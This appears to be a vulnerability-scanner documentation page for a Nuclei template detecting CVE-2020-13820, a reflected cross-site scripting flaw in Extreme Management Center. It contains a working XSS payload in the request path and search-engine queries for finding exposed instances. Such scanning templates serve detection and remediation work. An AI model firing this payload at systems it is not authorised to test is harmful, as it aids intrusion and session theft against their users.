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Extreme Management Center 8.4.1.24 - Cross-Site Scripting

ID: CVE-2020-13820

Severity: medium

Author: tess

Tags: cve2020,cve,xss,extremenetworks

Description

Section titled “Description”

Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2020-13820


info:
  name: Extreme Management Center 8.4.1.24 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Extreme Management Center.
  reference:
    - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219
    - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136
    - https://gtacknowledge.extremenetworks.com
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
    - https://documentation.extremenetworks.com/release_notes/netsight/XMC_8.5.0_Release_Notes.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13820
    cwe-id: CWE-79
    epss-score: 0.00289
    epss-percentile: 0.68885
    cpe: cpe:2.3:a:extremenetworks:extreme_management_center:8.4.1.24:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: extremenetworks
    product: extreme_management_center
    shodan-query:
      - title:"Extreme Management Center"
      - http.title:"extreme management center"
    fofa-query: title="extreme management center"
    google-query: intitle:"extreme management center"
  tags: cve2020,cve,xss,extremenetworks


http:
  - method: GET
    path:
      - "{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "autofocus onfocus='alert(document.domain)"
          - "Extreme Management Center"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a0046304402207b0b4f0007c5c1ad8e85fb3aecc070a96b89d5076f18232bf74b72284ebadcda022024754113d6152a41f0931fe0e395676ded9467b14e42f362e0d3e5b2f177ca18:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-13820.yaml"

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